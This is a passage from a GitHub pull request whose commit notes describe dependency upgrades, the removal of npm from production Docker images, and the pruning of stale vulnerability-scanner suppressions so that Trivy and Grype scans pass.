the sdk-node bump in an earlier merged Renovate PR didn't realign the grpc
exporters, so trace export throws on the protobufjs global clash described
above. Nothing catches this today since service.test.ts mocks the otel
packages wholesale and CI never enables telemetry. Worth a separate look
by whoever owns telemetry.

* chore(deps): relay-compiler 13 to drop immutable 3

immutable 3.8.3 has two highs and no patched 3.x, so the only way out is to
move the thing that depends on it. relay-compiler 13.0.2 wants immutable ^5.1.9,
which the existing >=5.0.0 override already covers.

relay-operation-optimizer 7.0.0 asks for relay-compiler ^12, but its own latest
(7.1.8) asks for ^13.0.2 on the same optimizer major, so the API it uses didn't
move. Codegen output is unchanged.

Dropped the immutable@>=3.0.0 override since nothing wants immutable 3 now.

* chore(deps): vanilla-extract integration 8 to drop vite 4

vite 4.5.14 comes in under @vanilla-extract/integration 6.2.1 via remix's
classic compiler in mock-ASE. There's no vite this could upgrade to inside a
range 6.x accepts, and vite 5 is out of support so GHSA-fx2h has no 5.x patch.
integration v8 has no vite dependency at all, so vite just leaves.

v8 renamed createCompiler to compile and remix 2.17.5 still calls
createCompiler, but it's only reached from the .css.ts / .vanilla.css onLoad
handlers, and the plugin bails out earlier anyway unless the app declares
@vanilla-extract/css. mock-ASE does neither. This does become a landmine if
mock-ASE ever adopts vanilla-extract.

* chore(deps): unscope the tmp override to catch 0.0.33

external-editor is at its latest (3.1.0) and still pins tmp ^0.0.33, so the
>=0.2.0 selector never reached that copy. No upstream fix to wait for.

external-editor only calls tmp.tmpNameSync, which 0.2.7 still exports with the
same signature, and the path is inquirer's editor prompt inside graphql-codegen
which never runs interactively here. Forcing it across the 0.x major is the
only option that clears GHSA-ph9p-34f9-6g65.

* chore(deps): drop npm from the prod runner images

Every Grype and Trivy scan was failing on the same 5 highs plus a critical,
and none of them were ours. Trivy's paths gave it away: they all sit under
/usr/local/lib/node_modules/npm in the base image. node:24-alpine3.23 ships
npm 11.17.0, which bundles tar 7.5.16, brace-expansion 5.0.6, ip-address
10.2.0 and undici 6.26.0. I confirmed those versions by hand in the base
image and they match the scanner output exactly.

That's why the last few override bumps didn't move the needle. Our lockfile
already resolves tar 7.5.22 / brace-expansion 5.0.9 / undici 6.28.0, but a
pnpm override can't touch a copy of npm baked into the runner image.

The runner stages only ever exec node (frontend goes through
node_modules/.bin/remix-serve), corepack isn't enabled there, and nothing in
localenv or helm shells out to npm inside these containers, so npm is just
dead weight. Removing it takes out the whole class of finding rather than
this month's batch of it.

Built backend and frontend locally and scanned both tarballs: Trivy and Grype
both exit 0 at the high cutoff now, and npm no longer shows up anywhere in
the scanned path list. Grype passed even without .grype.yaml loaded, so it's
clean on its own rather than by suppression. I left the existing ignore rules
alone, though some of them may well be stale now.

* chore(deps): collapse propagator-jaeger onto v2

The backend image had one high left that was actually ours:
@opentelemetry/propagator-jaeger 1.25.1, CVE-2026-59892. The suppression I
added earlier only went into pnpm.auditConfig.ignoreGhsas, which covers
pnpm audit and nothing else, so Trivy kept failing on it.

Turns out this doesn't need the otel v2 migration I backed away from last
time. The backend already installs propagator-jaeger 2.10.0 via sdk-node
0.217.0, sitting right next to the 1.25.1 that sdk-trace-node 1.25.1 pulls
in. Both were already in the tree. So I widened the override, which was
scoped to @>=2.0.0 and therefore matched nothing, to just pin the package,
and the two collapse onto 2.10.0.

sdk-trace-node 1.x only ever constructs JaegerPropagator and registers it as
a TextMapPropagator, so the v1/v2 core split underneath doesn't matter here.
Checked it directly: NodeTracerProvider.register() with the v2 propagator
works, and an uber-trace-id round-trips through extract/inject with the trace
id, span id and flags intact. All 34 telemetry tests pass.

Only fixes the one CVE. @opentelemetry/core 1.22.0 and 1.25.1 are still in
there under GHSA-8988-4f7v-96qf, but that one's medium and below the scan
cutoff, and clearing it does need the SDK v2 move.

* chore(deps): record why bumping the base image doesn't help

Checked whether a newer tag would let us drop the npm removal. It won't.
Every node:24 alpine tag (3.22, 3.23, 3.24 and the floating 24-alpine) is
node 24.19.0 with npm 11.17.0 and the same bundled tar 7.5.16 /
brace-expansion 5.0.6 / ip-address 10.2.0.

Going further up doesn't fix it either. The newest published node image
(node:alpine, 26.7.0) ships npm 11.19.0, which is still brace-expansion 5.0.7
and ip-address 10.2.0. Both remain vulnerable to the highs that fail us:
GHSA-rgw5 wants 5.0.9, GHSA-mh99 wants 5.0.8, GHSA-mwp4 wants ip-address
10.3.1. So there's no base image at any node version that passes the high
cutoff right now, and we're on node 24 per engines anyway.

Just trimming the comment down and folding that finding into it, since it's
repeated in five files and it's what the next person will want to know.

* chore(deps): drop the scanner suppressions that are now dead

Three leftovers, none of which match anything anymore.

pnpm.auditConfig.ignoreGhsas held GHSA-45rx-2jwx-cxfr for propagator-jaeger
1.25.1. That version is gone from the tree since the override collapsed it
onto 2.10.0, so the entry can't match. pnpm audit reports the same 8 low and
23 moderate with it removed, and nothing tagged as ignored.

.grype.yaml and .trivyignore both carried CVE-2026-12151 (plus
GHSA-vxpw-j846-p89q on the grype side). Scanned all five prod images with no
ignore config at all, across every severity, and neither ID shows up. Running
grype with the config still loaded reports zero matches ignored, where CI was
logging 6 before, so what those rules were catching is fixed now.

Removed the files rather than leaving empty ones. Easy enough to re-add, and
#3947 set the precedent of pruning these as they get fixed.

All five images pass both scanners at CI's exact settings with the files gone.

* chore: fail docker if npm rm fail, rm npm doc references

* fix: openssl, next, faker, vulns

* fix: remove next

* fix: posgtres startup error on authed frontend

* fix: drop rollup and vite overrides that match nothing

---------

Co-authored-by: Blair Currey <12960453+BlairCurrey@users.noreply.github.com>

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants